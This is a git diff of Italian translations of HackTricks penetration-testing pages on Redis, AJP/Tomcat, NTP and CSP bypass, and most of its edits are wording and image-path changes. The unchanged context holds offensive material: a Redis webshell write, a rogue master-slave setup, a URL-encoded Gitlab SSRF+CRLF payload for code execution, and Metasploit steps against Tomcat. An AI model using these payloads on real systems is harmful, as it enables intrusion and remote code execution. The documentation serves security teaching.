In caso tu riceva il seguente errore `-WRONGTYPE Operation against a key holding the wrong kind of value` mentre esegui `GET <KEY>`, è perché la chiave potrebbe essere qualcosa di diverso da una stringa o un intero e richiede un operatore speciale per visualizzarla.
|
In caso tu riceva il seguente errore `-WRONGTYPE Operation against a key holding the wrong kind of value` mentre esegui `GET <KEY>`, è perché la chiave potrebbe essere qualcosa di diverso da una stringa o un intero e richiede un operatore speciale per visualizzarla.
|
||||||
|
|
||||||
Per conoscere il tipo della chiave, usa il comando `TYPE`, esempio qui sotto per chiavi di lista e hash.
|
Per conoscere il tipo della chiave, usa il comando `TYPE`, esempio qui sotto per chiavi di tipo lista e hash.
|
||||||
```bash
|
```bash
|
||||||
TYPE <KEY>
|
TYPE <KEY>
|
||||||
[ ... Type of the Key ... ]
|
[ ... Type of the Key ... ]
|
||||||
|
@ -141,7 +141,7 @@ DUMP <key>
|
||||||
```
|
```
|
||||||
**Dump del database con npm**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **o python** [**redis-utils**](https://pypi.org/project/redis-utils/)
|
**Dump del database con npm**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **o python** [**redis-utils**](https://pypi.org/project/redis-utils/)
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Unisciti al [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server per comunicare con hacker esperti e cacciatori di bug bounty!
|
Unisciti al [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server per comunicare con hacker esperti e cacciatori di bug bounty!
|
||||||
|
|
||||||
|
@ -149,10 +149,10 @@ Unisciti al [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) ser
|
||||||
Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking
|
Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking
|
||||||
|
|
||||||
**Notizie di hacking in tempo reale**\
|
**Notizie di hacking in tempo reale**\
|
||||||
Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
|
Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale
|
||||||
|
|
||||||
**Ultimi annunci**\
|
**Ultimi annunci**\
|
||||||
Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma
|
Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma
|
||||||
|
|
||||||
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
|
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
|
||||||
|
|
||||||
|
@ -178,7 +178,7 @@ OK
|
||||||
10.85.0.52:6379> save
|
10.85.0.52:6379> save
|
||||||
OK
|
OK
|
||||||
```
|
```
|
||||||
Se l'accesso al webshell è eccezionale, puoi svuotare il database dopo il backup e riprovare, ricorda di ripristinare il database.
|
Se l'eccezione di accesso al webshell, puoi svuotare il database dopo il backup e riprovare, ricorda di ripristinare il database.
|
||||||
|
|
||||||
### Template Webshell
|
### Template Webshell
|
||||||
|
|
||||||
|
@ -268,7 +268,7 @@ Alcuni **CVE per sfuggire da LUA**:
|
||||||
|
|
||||||
### Modulo Master-Slave
|
### Modulo Master-Slave
|
||||||
|
|
||||||
Il master redis sincronizza automaticamente tutte le operazioni con il redis slave, il che significa che possiamo considerare la vulnerabilità redis come un redis slave, connesso al master redis che controlliamo noi, quindi possiamo inserire il comando nel nostro redis.
|
Il master redis sincronizza automaticamente tutte le operazioni con il redis slave, il che significa che possiamo considerare la vulnerabilità redis come un redis slave, connesso al master redis che controlliamo, quindi possiamo inserire il comando nel nostro redis.
|
||||||
```
|
```
|
||||||
master redis : 10.85.0.51 (Hacker's Server)
|
master redis : 10.85.0.51 (Hacker's Server)
|
||||||
slave redis : 10.85.0.52 (Target Vulnerability Server)
|
slave redis : 10.85.0.52 (Target Vulnerability Server)
|
||||||
|
@ -292,11 +292,11 @@ Se puoi inviare una richiesta **in chiaro** **a Redis**, puoi **comunicare con e
|
||||||
-ERR unknown command 'Cache-Control:'
|
-ERR unknown command 'Cache-Control:'
|
||||||
-ERR unknown command 'Connection:'
|
-ERR unknown command 'Connection:'
|
||||||
```
|
```
|
||||||
Pertanto, se trovi una **vuln SSRF** in un sito web e puoi **controllare** alcuni **headers** (forse con una vuln CRLF) o **parametri POST**, sarai in grado di inviare comandi arbitrari a Redis.
|
Pertanto, se trovi una **SSRF vuln** in un sito web e puoi **controllare** alcuni **headers** (forse con una vulnerabilità CRLF) o **parametri POST**, sarai in grado di inviare comandi arbitrari a Redis.
|
||||||
|
|
||||||
### Esempio: Gitlab SSRF + CRLF a Shell
|
### Esempio: Gitlab SSRF + CRLF a Shell
|
||||||
|
|
||||||
In **Gitlab11.4.7** è stata scoperta una vulnerabilità **SSRF** e una **CRLF**. La vulnerabilità **SSRF** si trovava nella **funzionalità di importazione del progetto da URL** durante la creazione di un nuovo progetto e consentiva di accedere a IP arbitrari nella forma \[0:0:0:0:0:ffff:127.0.0.1] (questo accederà a 127.0.0.1), e la vuln **CRLF** è stata sfruttata semplicemente **aggiungendo caratteri %0D%0A** all'**URL**.
|
In **Gitlab11.4.7** è stata scoperta una vulnerabilità **SSRF** e una **CRLF**. La vulnerabilità **SSRF** si trovava nella **funzionalità di importazione del progetto da URL** durante la creazione di un nuovo progetto e consentiva di accedere a IP arbitrari nella forma \[0:0:0:0:0:ffff:127.0.0.1] (questo accederà a 127.0.0.1), e la vulnerabilità **CRLF** è stata sfruttata semplicemente **aggiungendo caratteri %0D%0A** all'**URL**.
|
||||||
|
|
||||||
Pertanto, è stato possibile **sfruttare queste vulnerabilità per comunicare con l'istanza Redis** che **gestisce le code** di **gitlab** e abusare di quelle code per **ottenere l'esecuzione di codice**. Il payload di abuso della coda Redis è:
|
Pertanto, è stato possibile **sfruttare queste vulnerabilità per comunicare con l'istanza Redis** che **gestisce le code** di **gitlab** e abusare di quelle code per **ottenere l'esecuzione di codice**. Il payload di abuso della coda Redis è:
|
||||||
```
|
```
|
||||||
|
@ -311,7 +311,7 @@ git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agit
|
||||||
```
|
```
|
||||||
_Per qualche motivo (come per l'autore di_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _da cui è stata tratta questa informazione) lo sfruttamento ha funzionato con lo schema `git` e non con lo schema `http`._
|
_Per qualche motivo (come per l'autore di_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _da cui è stata tratta questa informazione) lo sfruttamento ha funzionato con lo schema `git` e non con lo schema `http`._
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Unisciti al [**server Discord di HackenProof**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
Unisciti al [**server Discord di HackenProof**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
||||||
|
|
||||||
|
@ -319,10 +319,10 @@ Unisciti al [**server Discord di HackenProof**](https://discord.com/invite/N3FrS
|
||||||
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
|
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
|
||||||
|
|
||||||
**Notizie di hacking in tempo reale**\
|
**Notizie di hacking in tempo reale**\
|
||||||
Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
|
Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale
|
||||||
|
|
||||||
**Ultimi annunci**\
|
**Ultimi annunci**\
|
||||||
Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali delle piattaforme
|
Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali delle piattaforme
|
||||||
|
|
||||||
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
|
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
|
||||||
|
|
||||||
|
@ -336,7 +336,7 @@ Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
|
|
||||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||||
|
|
||||||
|
@ -34,11 +34,11 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
||||||
|
|
||||||
From: [https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/](https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/)
|
From: [https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/](https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/)
|
||||||
|
|
||||||
> AJP è un protocollo di rete. È una versione ottimizzata del protocollo HTTP per consentire a un server web autonomo come [Apache](http://httpd.apache.org/) di comunicare con Tomcat. Storicamente, Apache è stato molto più veloce di Tomcat nel servire contenuti statici. L'idea è di lasciare che Apache serva i contenuti statici quando possibile, ma di fare da proxy per la richiesta a Tomcat per i contenuti relativi a Tomcat.
|
> AJP è un protocollo di rete. È una versione ottimizzata del protocollo HTTP per consentire a un server web autonomo come [Apache](http://httpd.apache.org/) di comunicare con Tomcat. Storicamente, Apache è stato molto più veloce di Tomcat nel servire contenuti statici. L'idea è di lasciare che Apache serva i contenuti statici quando possibile, ma di fare da proxy per la richiesta ai contenuti relativi a Tomcat.
|
||||||
|
|
||||||
Also interesting:
|
Also interesting:
|
||||||
|
|
||||||
> Il protocollo ajp13 è orientato ai pacchetti. Un formato binario è presumibilmente stato scelto rispetto al testo semplice più leggibile per motivi di prestazioni. Il server web comunica con il contenitore servlet tramite connessioni TCP. Per ridurre il costoso processo di creazione di socket, il server web tenterà di mantenere connessioni TCP persistenti con il contenitore servlet e di riutilizzare una connessione per più cicli di richiesta/riposta.
|
> Il protocollo ajp13 è orientato ai pacchetti. Un formato binario è stato presumibilmente scelto rispetto al testo semplice più leggibile per motivi di prestazioni. Il server web comunica con il contenitore servlet tramite connessioni TCP. Per ridurre il costoso processo di creazione di socket, il server web tenterà di mantenere connessioni TCP persistenti con il contenitore servlet e di riutilizzare una connessione per più cicli di richiesta/riposta.
|
||||||
|
|
||||||
**Default port:** 8009
|
**Default port:** 8009
|
||||||
```
|
```
|
||||||
|
@ -49,7 +49,7 @@ PORT STATE SERVICE
|
||||||
|
|
||||||
Se la porta AJP è esposta, Tomcat potrebbe essere suscettibile alla vulnerabilità Ghostcat. Ecco un [exploit](https://www.exploit-db.com/exploits/48143) che funziona con questo problema.
|
Se la porta AJP è esposta, Tomcat potrebbe essere suscettibile alla vulnerabilità Ghostcat. Ecco un [exploit](https://www.exploit-db.com/exploits/48143) che funziona con questo problema.
|
||||||
|
|
||||||
Ghostcat è una vulnerabilità LFI, ma in qualche modo ristretta: possono essere estratti solo file da un certo percorso. Tuttavia, questo può includere file come `WEB-INF/web.xml` che possono leakare informazioni importanti come le credenziali per l'interfaccia Tomcat, a seconda della configurazione del server.
|
Ghostcat è una vulnerabilità LFI, ma in qualche modo ristretta: possono essere estratti solo file da un certo percorso. Tuttavia, questo può includere file come `WEB-INF/web.xml` che possono leak informazioni importanti come le credenziali per l'interfaccia Tomcat, a seconda della configurazione del server.
|
||||||
|
|
||||||
Le versioni corrette a partire da 9.0.31, 8.5.51 e 7.0.100 hanno risolto questo problema.
|
Le versioni corrette a partire da 9.0.31, 8.5.51 e 7.0.100 hanno risolto questo problema.
|
||||||
|
|
||||||
|
@ -59,9 +59,9 @@ Le versioni corrette a partire da 9.0.31, 8.5.51 e 7.0.100 hanno risolto questo
|
||||||
```bash
|
```bash
|
||||||
nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 <IP>
|
nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 <IP>
|
||||||
```
|
```
|
||||||
### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#ajp)
|
### [**Forza bruta**](../generic-methodologies-and-resources/brute-force.md#ajp)
|
||||||
|
|
||||||
## AJP Proxy
|
## Proxy AJP
|
||||||
|
|
||||||
### Nginx Reverse Proxy & AJP
|
### Nginx Reverse Proxy & AJP
|
||||||
|
|
||||||
|
@ -147,7 +147,7 @@ docker run -it --rm -p 80:80 nginx-ajp-proxy
|
||||||
```
|
```
|
||||||
### Apache AJP Proxy
|
### Apache AJP Proxy
|
||||||
|
|
||||||
Incontrare una porta 8009 aperta senza altre porte web accessibili è raro. Tuttavia, è ancora possibile sfruttarla utilizzando **Metasploit**. Sfruttando **Apache** come proxy, le richieste possono essere reindirizzate a **Tomcat** sulla porta 8009.
|
Incontrare una porta aperta 8009 senza altre porte web accessibili è raro. Tuttavia, è ancora possibile sfruttarla utilizzando **Metasploit**. Sfruttando **Apache** come proxy, le richieste possono essere reindirizzate a **Tomcat** sulla porta 8009.
|
||||||
```bash
|
```bash
|
||||||
sudo apt-get install libapache2-mod-jk
|
sudo apt-get install libapache2-mod-jk
|
||||||
sudo vim /etc/apache2/apache2.conf # append the following line to the config
|
sudo vim /etc/apache2/apache2.conf # append the following line to the config
|
||||||
|
@ -165,7 +165,7 @@ sudo a2enmod proxy_http
|
||||||
sudo a2enmod proxy_ajp
|
sudo a2enmod proxy_ajp
|
||||||
sudo systemctl restart apache2
|
sudo systemctl restart apache2
|
||||||
```
|
```
|
||||||
Questa configurazione offre la possibilità di bypassare i sistemi di rilevamento e prevenzione delle intrusioni (IDS/IPS) a causa della **natura binaria del protocollo AJP**, sebbene questa capacità non sia stata verificata. Direzionando un exploit Tomcat di Metasploit regolare a `127.0.0.1:80`, puoi effettivamente prendere il controllo del sistema target.
|
Questa configurazione offre il potenziale per eludere i sistemi di rilevamento e prevenzione delle intrusioni (IDS/IPS) a causa della **natura binaria del protocollo AJP**, sebbene questa capacità non sia stata verificata. Direzionando un exploit Tomcat di Metasploit regolare a `127.0.0.1:80`, puoi effettivamente prendere il controllo del sistema target.
|
||||||
```bash
|
```bash
|
||||||
msf exploit(tomcat_mgr_deploy) > show options
|
msf exploit(tomcat_mgr_deploy) > show options
|
||||||
```
|
```
|
||||||
|
@ -174,7 +174,7 @@ msf exploit(tomcat_mgr_deploy) > show options
|
||||||
* [https://github.com/yaoweibin/nginx\_ajp\_module](https://github.com/yaoweibin/nginx\_ajp\_module)
|
* [https://github.com/yaoweibin/nginx\_ajp\_module](https://github.com/yaoweibin/nginx\_ajp\_module)
|
||||||
* [https://academy.hackthebox.com/module/145/section/1295](https://academy.hackthebox.com/module/145/section/1295)
|
* [https://academy.hackthebox.com/module/145/section/1295](https://academy.hackthebox.com/module/145/section/1295)
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Unisciti al [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server per comunicare con hacker esperti e cacciatori di bug bounty!
|
Unisciti al [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server per comunicare con hacker esperti e cacciatori di bug bounty!
|
||||||
|
|
||||||
|
|
|
@ -16,7 +16,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||||
|
|
||||||
|
@ -31,20 +31,20 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
||||||
|
|
||||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
||||||
|
|
||||||
## Informazioni di base
|
## Basic Information
|
||||||
|
|
||||||
Il **Network Time Protocol (NTP)** garantisce che computer e dispositivi di rete su reti a latenza variabile sincronizzino i loro orologi in modo accurato. È fondamentale per mantenere una precisa misurazione del tempo nelle operazioni IT, nella sicurezza e nel logging. L'accuratezza dell'NTP è essenziale, ma presenta anche rischi per la sicurezza se non gestita correttamente.
|
Il **Network Time Protocol (NTP)** garantisce che computer e dispositivi di rete su reti a latenza variabile sincronizzino i loro orologi con precisione. È fondamentale per mantenere una misurazione del tempo precisa nelle operazioni IT, nella sicurezza e nel logging. L'accuratezza dell'NTP è essenziale, ma comporta anche rischi per la sicurezza se non gestita correttamente.
|
||||||
|
|
||||||
### Riepilogo e suggerimenti per la sicurezza:
|
### Summary & Security Tips:
|
||||||
|
|
||||||
* **Scopo**: Sincronizza gli orologi dei dispositivi attraverso le reti.
|
* **Purpose**: Sincronizza gli orologi dei dispositivi attraverso le reti.
|
||||||
* **Importanza**: Critico per la sicurezza, il logging e le operazioni.
|
* **Importance**: Critico per la sicurezza, il logging e le operazioni.
|
||||||
* **Misure di sicurezza**:
|
* **Security Measures**:
|
||||||
* Utilizzare fonti NTP affidabili con autenticazione.
|
* Utilizzare fonti NTP affidabili con autenticazione.
|
||||||
* Limitare l'accesso alla rete del server NTP.
|
* Limitare l'accesso alla rete del server NTP.
|
||||||
* Monitorare la sincronizzazione per segni di manomissione.
|
* Monitorare la sincronizzazione per segni di manomissione.
|
||||||
|
|
||||||
**Porta predefinita:** 123/udp
|
**Default port:** 123/udp
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE REASON
|
PORT STATE SERVICE REASON
|
||||||
123/udp open ntp udp-response
|
123/udp open ntp udp-response
|
||||||
|
@ -100,9 +100,9 @@ Name: Nmap
|
||||||
Description: Enumerate NTP
|
Description: Enumerate NTP
|
||||||
Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 {IP}
|
Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 {IP}
|
||||||
```
|
```
|
||||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Unisciti al [**server Discord di HackenProof**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug!
|
Unisciti al [**server Discord di HackenProof**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
||||||
|
|
||||||
**Approfondimenti sul hacking**\
|
**Approfondimenti sul hacking**\
|
||||||
Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking
|
Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking
|
||||||
|
@ -124,7 +124,7 @@ Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
|
|
||||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# Content Security Policy (CSP) Bypass
|
# Content Security Policy (CSP) Bypass
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -10,12 +10,12 @@ Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
|
|
||||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository su github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Unisciti al [**Discord di HackenProof**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
Unisciti al [**Discord di HackenProof**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
||||||
|
|
||||||
|
@ -26,7 +26,7 @@ Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking
|
||||||
Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
|
Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
|
||||||
|
|
||||||
**Ultimi Annunci**\
|
**Ultimi Annunci**\
|
||||||
Rimani informato sui nuovi bug bounty in arrivo e aggiornamenti cruciali delle piattaforme
|
Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali delle piattaforme
|
||||||
|
|
||||||
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
|
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
|
||||||
|
|
||||||
|
@ -65,19 +65,19 @@ frame-src 'self' https://ic.paypal.com https://paypal.com;
|
||||||
media-src https://videos.cdn.mozilla.net;
|
media-src https://videos.cdn.mozilla.net;
|
||||||
object-src 'none';
|
object-src 'none';
|
||||||
```
|
```
|
||||||
### Direttive
|
### Directives
|
||||||
|
|
||||||
* **script-src**: Consente fonti specifiche per JavaScript, inclusi URL, script inline e script attivati da gestori di eventi o fogli di stile XSLT.
|
* **script-src**: Consente fonti specifiche per JavaScript, inclusi URL, script inline e script attivati da gestori di eventi o fogli di stile XSLT.
|
||||||
* **default-src**: Imposta una politica predefinita per il recupero delle risorse quando le direttive di recupero specifiche sono assenti.
|
* **default-src**: Imposta una politica predefinita per il recupero delle risorse quando le direttive di recupero specifiche sono assenti.
|
||||||
* **child-src**: Specifica le risorse consentite per i worker web e i contenuti dei frame incorporati.
|
* **child-src**: Specifica le risorse consentite per i worker web e i contenuti dei frame incorporati.
|
||||||
* **connect-src**: Limita gli URL che possono essere caricati utilizzando interfacce come fetch, WebSocket, XMLHttpRequest.
|
* **connect-src**: Limita gli URL che possono essere caricati utilizzando interfacce come fetch, WebSocket, XMLHttpRequest.
|
||||||
* **frame-src**: Limita gli URL per i frame.
|
* **frame-src**: Limita gli URL per i frame.
|
||||||
* **frame-ancestors**: Specifica quali fonti possono incorporare la pagina corrente, applicabile a elementi come `<frame>`, `<iframe>`, `<object>`, `<embed>` e `<applet>`.
|
* **frame-ancestors**: Specifica quali fonti possono incorporare la pagina corrente, applicabile a elementi come `<frame>`, `<iframe>`, `<object>`, `<embed>`, e `<applet>`.
|
||||||
* **img-src**: Definisce le fonti consentite per le immagini.
|
* **img-src**: Definisce le fonti consentite per le immagini.
|
||||||
* **font-src**: Specifica fonti valide per i font caricati utilizzando `@font-face`.
|
* **font-src**: Specifica fonti valide per i font caricati utilizzando `@font-face`.
|
||||||
* **manifest-src**: Definisce le fonti consentite per i file di manifest dell'applicazione.
|
* **manifest-src**: Definisce le fonti consentite per i file di manifest dell'applicazione.
|
||||||
* **media-src**: Definisce le fonti consentite per il caricamento di oggetti multimediali.
|
* **media-src**: Definisce le fonti consentite per il caricamento di oggetti multimediali.
|
||||||
* **object-src**: Definisce le fonti consentite per gli elementi `<object>`, `<embed>` e `<applet>`.
|
* **object-src**: Definisce le fonti consentite per gli elementi `<object>`, `<embed>`, e `<applet>`.
|
||||||
* **base-uri**: Specifica gli URL consentiti per il caricamento utilizzando elementi `<base>`.
|
* **base-uri**: Specifica gli URL consentiti per il caricamento utilizzando elementi `<base>`.
|
||||||
* **form-action**: Elenca gli endpoint validi per l'invio di moduli.
|
* **form-action**: Elenca gli endpoint validi per l'invio di moduli.
|
||||||
* **plugin-types**: Limita i tipi mime che una pagina può invocare.
|
* **plugin-types**: Limita i tipi mime che una pagina può invocare.
|
||||||
|
@ -88,7 +88,7 @@ object-src 'none';
|
||||||
* **prefetch-src**: Specifica fonti valide per le risorse che verranno recuperate o pre-recuperate.
|
* **prefetch-src**: Specifica fonti valide per le risorse che verranno recuperate o pre-recuperate.
|
||||||
